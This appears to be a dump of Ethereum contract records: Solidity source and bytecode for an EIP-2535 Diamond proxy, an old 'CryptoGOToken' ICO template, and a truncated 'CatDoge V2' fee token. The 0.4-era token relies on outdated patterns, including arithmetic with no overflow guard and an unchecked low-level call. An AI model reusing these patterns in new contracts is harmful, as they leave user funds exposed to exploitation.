{ ds.slot := position } // get facet from function selector address facet = ds.facetAddressAndSelectorPosition[msg.sig].facetAddress; require(facet != address(0), "Diamond: Function does not exist"); // Execute external function from facet using delegatecall and return any value. assembly { // copy function selector and any arguments calldatacopy(0, 0, calldatasize()) // execute function call using the facet let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0) // get any return value returndatacopy(0, 0, returndatasize()) // return any return value or error back to the caller switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } receive() external payable {} } //SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * EIP-2535 Diamonds: https://eips.ethereum.org/EIPS/eip-2535 /******************************************************************************/ import {IDiamondCut} from "./IDiamondCut.sol"; library LibDiamond { bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("cft.bot.facets.storage"); struct FacetAddressAndSelectorPosition { address facetAddress; uint16 selectorPosition; } struct DiamondStorage { // function selector => facet address and selector position in selectors array mapping(bytes4 => FacetAddressAndSelectorPosition) facetAddressAndSelectorPosition; bytes4[] selectors; mapping(bytes4 => bool) supportedInterfaces; // owner of the contract address contractOwner; } function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function setContractOwner(address _newOwner) internal { DiamondStorage storage ds = diamondStorage(); address previousOwner = ds.contractOwner; ds.contractOwner = _newOwner; emit OwnershipTransferred(previousOwner, _newOwner); } function contractOwner() internal view returns (address contractOwner_) { contractOwner_ = diamondStorage().contractOwner; } function enforceIsContractOwner(string memory reverMessage) internal view { require(msg.sender == diamondStorage().contractOwner, reverMessage); } event DiamondCut(IDiamondCut.FacetCut[] _diamondCut, address _init, bytes _calldata); // Internal function version of diamondCut function diamondCut( IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata ) internal { for (uint256 facetIndex; facetIndex < _diamondCut.length; facetIndex++) { IDiamondCut.FacetCutAction action = _diamondCut[facetIndex].action; if (action == IDiamondCut.FacetCutAction.Add) { addFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else if (action == IDiamondCut.FacetCutAction.Replace) { replaceFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else if (action == IDiamondCut.FacetCutAction.Remove) { removeFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else { revert("LibDiamondCut: Incorrect FacetCutAction"); } } emit DiamondCut(_diamondCut, _init, _calldata); initializeDiamondCut(_init, _calldata); } function addFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); DiamondStorage storage ds = diamondStorage(); uint16 selectorCount = uint16(ds.selectors.length); require(_facetAddress != address(0), "LibDiamondCut: Add facet can't be address(0)"); enforceHasContractCode(_facetAddress, "LibDiamondCut: Add facet has no code"); for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; address oldFacetAddress = ds.facetAddressAndSelectorPosition[selector].facetAddress; require(oldFacetAddress == address(0), "LibDiamondCut: Can't add function that already exists"); ds.facetAddressAndSelectorPosition[selector] = FacetAddressAndSelectorPosition( _facetAddress, selectorCount ); ds.selectors.push(selector); selectorCount++; } } function replaceFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); DiamondStorage storage ds = diamondStorage(); require(_facetAddress != address(0), "LibDiamondCut: Replace facet can't be address(0)"); enforceHasContractCode(_facetAddress, "LibDiamondCut: Replace facet has no code"); for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; address oldFacetAddress = ds.facetAddressAndSelectorPosition[selector].facetAddress; // can't replace immutable functions -- functions defined directly in the diamond require(oldFacetAddress != address(this), "LibDiamondCut: Can't replace immutable function"); require(oldFacetAddress != _facetAddress, "LibDiamondCut: Can't replace function with same function"); require(oldFacetAddress != address(0), "LibDiamondCut: Can't replace function that doesn't exist"); // replace old facet address ds.facetAddressAndSelectorPosition[selector].facetAddress = _facetAddress; } } function removeFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); DiamondStorage storage ds = diamondStorage(); uint256 selectorCount = ds.selectors.length; require(_facetAddress == address(0), "LibDiamondCut: Remove facet address must be address(0)"); for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; FacetAddressAndSelectorPosition memory oldFacetAddressAndSelectorPosition = ds .facetAddressAndSelectorPosition[selector]; require( oldFacetAddressAndSelectorPosition.facetAddress != address(0), "LibDiamondCut: Can't remove function that doesn't exist" ); // can't remove immutable functions -- functions defined directly in the diamond require( oldFacetAddressAndSelectorPosition.facetAddress != address(this), "LibDiamondCut: Can't remove immutable function." ); // replace selector with last selector selectorCount--; if (oldFacetAddressAndSelectorPosition.selectorPosition != selectorCount) { bytes4 lastSelector = ds.selectors[selectorCount]; ds.selectors[oldFacetAddressAndSelectorPosition.selectorPosition] = lastSelector; ds.facetAddressAndSelectorPosition[lastSelector].selectorPosition = oldFacetAddressAndSelectorPosition .selectorPosition; } // delete last selector ds.selectors.pop(); delete ds.facetAddressAndSelectorPosition[selector]; } } function initializeDiamondCut(address _init, bytes memory _calldata) internal { if (_init == address(0)) { require(_calldata.length == 0, "LibDiamondCut: _init is address(0) but_calldata is not empty"); } else { require(_calldata.length > 0, "LibDiamondCut: _calldata is empty but _init is not address(0)"); if (_init != address(this)) { enforceHasContractCode(_init, "LibDiamondCut: _init address has no code"); } (bool success, bytes memory error) = _init.delegatecall(_calldata); if (!success) { if (error.length > 0) { // bubble up the error revert(string(error)); } else { revert("LibDiamondCut: _init function reverted"); } } } } function enforceHasContractCode(address _contract, string memory _errorMessage) internal view { uint256 contractSize; assembly { contractSize := extcodesize(_contract) } require(contractSize > 0, _errorMessage); } } //SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * EIP-2535 Diamonds: https://eips.ethereum.org/EIPS/eip-2535 /******************************************************************************/ interface IDiamondCut { enum FacetCutAction { Add, Replace, Remove } // Add=0, Replace=1, Remove=2 struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } /// @notice Add/replace/remove any number of functions and optionally execute /// a function with delegatecall /// @param _diamondCut Contains the facet addresses and function selectors /// @param _init The address of the contract or facet to execute _calldata /// @param _calldata A function call, including function selector and arguments /// _calldata is executed with delegatecall on _init function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external; event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); }
0x60806040523661000b57005b600080356001600160e01b03191681527f413541ffe98316f58572289deb1b3fea64ce971627b9ffd7c621e4fbe14e8a8b602081905260409091205481906001600160a01b0316806100a45760405162461bcd60e51b815260206004820181905260248201527f4469616d6f6e643a2046756e6374696f6e20646f6573206e6f7420657869737460448201526064015b60405180910390fd5b3660008037600080366000845af43d6000803e8080156100c3573d6000f35b3d6000fd5b7f413541ffe98316f58572289deb1b3fea64ce971627b9ffd7c621e4fbe14e8a8e805473ffffffffffffffffffffffffffffffffffffffff1981166001600160a01b038481169182179093556040517f413541ffe98316f58572289deb1b3fea64ce971627b9ffd7c621e4fbe14e8a8b939092169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3505050565b60005b835181101561034957600084828151811061018a5761018a61123d565b6020026020010151602001519050600060028111156101ab576101ab611211565b8160028111156101bd576101bd611211565b141561020c576102078583815181106101d8576101d861123d565b6020026020010151600001518684815181106101f6576101f661123d565b602002602001015160400151610394565b610336565b600181600281111561022057610220611211565b141561026a5761020785838151811061023b5761023b61123d565b6020026020010151600001518684815181106102595761025961123d565b602002602001015160400151610678565b600281600281111561027e5761027e611211565b14156102c8576102078583815181106102995761029961123d565b6020026020010151600001518684815181106102b7576102b761123d565b6020026020010151604001516109bf565b60405162461bcd60e51b815260206004820152602760248201527f4c69624469616d6f6e644375743a20496e636f7272656374204661636574437560448201527f74416374696f6e00000000000000000000000000000000000000000000000000606482015260840161009b565b5080610341816111e0565b91505061016d565b507f8faa70878671ccd212d20771b795c50af8fd3ff6cf27f4bde57e5d4de0aeb67383838360405161037d93929190611062565b60405180910390a161038f8282610dd5565b505050565b60008151116103f95760405162461bcd60e51b815260206004820152602b60248201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660448201526a1858d95d081d1bc818dd5d60aa1b606482015260840161009b565b7f413541ffe98316f58572289deb1b3fea64ce971627b9ffd7c621e4fbe14e8a8c547f413541ffe98316f58572289deb1b3fea64ce971627b9ffd7c621e4fbe14e8a8b906001600160a01b0384166104b95760405162461bcd60e51b815260206004820152602c60248201527f4c69624469616d6f6e644375743a204164642066616365742063616e2774206260448201527f6520616464726573732830290000000000000000000000000000000000000000606482015260840161009b565b6104db8460405180606001604052806024815260200161125460249139610ff9565b60005b83518110156106715760008482815181106104fb576104fb61123d565b6020908102919091018101516001600160e01b031981166000908152918690526040909120549091506001600160a01b031680156105a15760405162461bcd60e51b815260206004820152603560248201527f4c69624469616d6f6e644375743a2043616e2774206164642066756e6374696f60448201527f6e207468617420616c7265616479206578697374730000000000000000000000606482015260840161009b565b6040805180820182526001600160a01b03808a16825261ffff80881660208085019182526001600160e01b0319881660009081528b8252958620945185549251909316600160a01b0275ffffffffffffffffffffffffffffffffffffffffffff19909216929093169190911717909155600180880180549182018155835291206008820401805460e085901c60046007909416939093026101000a92830263ffffffff909302191691909117905583610659816111be565b94505050508080610669906111e0565b9150506104de565b5050505050565b60008151116106dd5760405162461bcd60e51b815260206004820152602b60248201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660448201526a1858d95d081d1bc818dd5d60aa1b606482015260840161009b565b7f413541ffe98316f58572289deb1b3fea64ce971627b9ffd7c621e4fbe14e8a8b6001600160a01b03831661077a5760405162461bcd60e51b815260206004820152603060248201527f4c69624469616d6f6e644375743a205265706c6163652066616365742063616e60448201527f2774206265206164647265737328302900000000000000000000000000000000606482015260840161009b565b61079c836040518060600160405280602881526020016112a060289139610ff9565b60005b82518110156109b95760008382815181106107bc576107bc61123d565b6020908102919091018101516001600160e01b031981166000908152918590526040909120549091506001600160a01b0316308114156108645760405162461bcd60e51b815260206004820152602f60248201527f4c69624469616d6f6e644375743a2043616e2774207265706c61636520696d6d60448201527f757461626c652066756e6374696f6e0000000000000000000000000000000000606482015260840161009b565b856001600160a01b0316816001600160a01b031614156108ec5760405162461bcd60e51b815260206004820152603860248201527f4c69624469616d6f6e644375743a2043616e2774207265706c6163652066756e60448201527f6374696f6e20776974682073616d652066756e6374696f6e0000000000000000606482015260840161009b565b6001600160a01b0381166109685760405162461bcd60e51b815260206004820152603860248201527f4c69624469616d6f6e644375743a2043616e2774207265706c6163652066756e60448201527f6374696f6e207468617420646f65736e27742065786973740000000000000000606482015260840161009b565b506001600160e01b0319166000908152602083905260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038616179055806109b1816111e0565b91505061079f565b50505050565b6000815111610a245760405162461bcd60e51b815260206004820152602b60248201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660448201526a1858d95d081d1bc818dd5d60aa1b606482015260840161009b565b7f413541ffe98316f58572289deb1b3fea64ce971627b9ffd7c621e4fbe14e8a8c547f413541ffe98316f58572289deb1b3fea64ce971627b9ffd7c621e4fbe14e8a8b906001600160a01b03841615610ae55760405162461bcd60e51b815260206004820152603660248201527f4c69624469616d6f6e644375743a2052656d6f7665206661636574206164647260448201527f657373206d757374206265206164647265737328302900000000000000000000606482015260840161009b565b60005b8351811015610671576000848281518110610b0557610b0561123d565b6020908102919091018101516001600160e01b0319811660009081528683526040908190208151808301909252546001600160a01b038116808352600160a01b90910461ffff169382019390935290925090610bc95760405162461bcd60e51b815260206004820152603760248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f76652066756e6360448201527f74696f6e207468617420646f65736e2774206578697374000000000000000000606482015260840161009b565b80516001600160a01b0316301415610c495760405162461bcd60e51b815260206004820152602f60248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f766520696d6d7560448201527f7461626c652066756e6374696f6e2e0000000000000000000000000000000000606482015260840161009b565b83610c53816111a7565b94505083816020015161ffff1614610d4b576000856001018581548110610c7c57610c7c61123d565b90600052602060002090600891828204019190066004029054906101000a900460e01b90508086600101836020015161ffff1681548110610cbf57610cbf61123d565b600091825260208083206008830401805463ffffffff60079094166004026101000a938402191660e09590951c92909202939093179055838201516001600160e01b0319939093168152908790526040902080547fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff16600160a01b61ffff909316929092029190911790555b84600101805480610d5e57610d5e611227565b60008281526020808220600860001990940193840401805463ffffffff600460078716026101000a0219169055919092556001600160e01b03199093168152918590525060409020805475ffffffffffffffffffffffffffffffffffffffffffff1916905580610dcd816111e0565b915050610ae8565b6001600160a01b038216610e5c57805115610e585760405162461bcd60e51b815260206004820152603c60248201527f4c69624469616d6f6e644375743a205f696e697420697320616464726573732860448201527f3029206275745f63616c6c64617461206973206e6f7420656d70747900000000606482015260840161009b565b5050565b6000815111610ed35760405162461bcd60e51b815260206004820152603d60248201527f4c69624469616d6f6e644375743a205f63616c6c6461746120697320656d707460448201527f7920627574205f696e6974206973206e6f742061646472657373283029000000606482015260840161009b565b6001600160a01b0382163014610f0557610f058260405180606001604052806028815260200161127860289139610ff9565b600080836001600160a01b031683604051610f209190611046565b600060405180830381855af49150503d8060008114610f5b576040519150601f19603f3d011682016040523d82523d6000602084013e610f60565b606091505b5091509150816109b957805115610f8b578060405162461bcd60e51b815260040161009b9190611161565b60405162461bcd60e51b815260206004820152602660248201527f4c69624469616d6f6e644375743a205f696e69742066756e6374696f6e20726560448201527f7665727465640000000000000000000000000000000000000000000000000000606482015260840161009b565b813b81816109b95760405162461bcd60e51b815260040161009b9190611161565b6000815180845261103281602086016020860161117b565b601f01601f19169290920160200192915050565b6000825161105881846020870161117b565b9190910192915050565b60006060808301818452808751808352608092508286019150828160051b8701016020808b0160005b8481101561113157607f198a850301865281518885016001600160a01b03825116865284820151600381106110d057634e487b7160e01b600052602160045260246000fd5b868601526040918201519186018a905281519081905290840190600090898701905b8083101561111c5783516001600160e01b03191682529286019260019290920191908601906110f2565b5097850197955050509082019060010161108b565b50506001600160a01b038a16908801528681036040880152611153818961101a565b9a9950505050505050505050565b602081526000611174602083018461101a565b9392505050565b60005b8381101561119657818101518382015260200161117e565b838111156109b95750506000910152565b6000816111b6576111b66111fb565b506000190190565b600061ffff808316818114156111d6576111d66111fb565b6001019392505050565b60006000198214156111f4576111f46111fb565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fdfe4c69624469616d6f6e644375743a2041646420666163657420686173206e6f20636f64654c69624469616d6f6e644375743a205f696e6974206164647265737320686173206e6f20636f64654c69624469616d6f6e644375743a205265706c61636520666163657420686173206e6f20636f6465a26469706673582212203b785ea6570509b0f96ff60387c6a8ffb0fe6100566addb1f066c40302f7c89664736f6c63430008070033
[ 12 ]
0xf2492db1065bb77f144f2eb11cdcf9d95c281d74
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract CryptoGOToken is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function CryptoGOToken() { balances[msg.sender] = 1000000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 1000000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = "CryptoGO"; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = "CGO"; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 10000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610388578063095ea7b31461041657806318160ddd146104705780632194f3a21461049957806323b872dd146104ee578063313ce5671461056757806354fd4d501461059657806365f2bc2e1461062457806370a082311461064d578063933ba4131461069a57806395d89b41146106c3578063a9059cbb14610751578063cae9ca51146107ab578063dd62ed3e14610848575b600034600854016008819055506007543402905080600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561015157610385565b80600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561038457600080fd5b5b50005b341561039357600080fd5b61039b6108b4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103db5780820151818401526020810190506103c0565b50505050905090810190601f1680156104085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561042157600080fd5b610456600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610952565b604051808215151515815260200191505060405180910390f35b341561047b57600080fd5b610483610a44565b6040518082815260200191505060405180910390f35b34156104a457600080fd5b6104ac610a4a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f957600080fd5b61054d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a70565b604051808215151515815260200191505060405180910390f35b341561057257600080fd5b61057a610ce9565b604051808260ff1660ff16815260200191505060405180910390f35b34156105a157600080fd5b6105a9610cfc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e95780820151818401526020810190506105ce565b50505050905090810190601f1680156106165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561062f57600080fd5b610637610d9a565b6040518082815260200191505060405180910390f35b341561065857600080fd5b610684600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610da0565b6040518082815260200191505060405180910390f35b34156106a557600080fd5b6106ad610de8565b6040518082815260200191505060405180910390f35b34156106ce57600080fd5b6106d6610dee565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107165780820151818401526020810190506106fb565b50505050905090810190601f1680156107435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561075c57600080fd5b610791600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e8c565b604051808215151515815260200191505060405180910390f35b34156107b657600080fd5b61082e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610ff2565b604051808215151515815260200191505060405180910390f35b341561085357600080fd5b61089e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061128f565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561094a5780601f1061091f5761010080835404028352916020019161094a565b820191906000526020600020905b81548152906001019060200180831161092d57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3c575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610b485750600082115b15610cdd57816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ce2565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d925780601f10610d6757610100808354040283529160200191610d92565b820191906000526020600020905b815481529060010190602001808311610d7557829003601f168201915b505050505081565b60075481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60085481565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e845780601f10610e5957610100808354040283529160200191610e84565b820191906000526020600020905b815481529060010190602001808311610e6757829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610edc5750600082115b15610fe757816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610fec565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015611233578082015181840152602081019050611218565b50505050905090810190601f1680156112605780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561128457600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820676b1dab08f53a03ad3ba4ec4a80f9d435a08f18244095df573463187a6ea8d00029
[ 38 ]
0xF2493c8f7F424dA2bA56D5fEB1D178689598C18c
// SPDX-License-Identifier: MIT /** Catdoge V2 Website: https://catdogetoken.io/ Twitter: https://twitter.com/CatDogeToken */ pragma solidity >=0.6.0; import './external/Address.sol'; import './external/Ownable.sol'; import './external/IERC20.sol'; import './external/SafeMath.sol'; import './external/Uniswap.sol'; import './external/ReentrancyGuard.sol'; contract CatDogeV2 is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = 'CatDoge v2'; string private constant _symbol = 'CD'; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private w1; address payable private w2; address payable private w3; IUniswapV2Router02 private uniswapRouter; address public uniswapPair; bool private tradingEnabled = false; bool private canSwap = true; bool private inSwap = false; event MaxBuyAmountUpdated(uint256 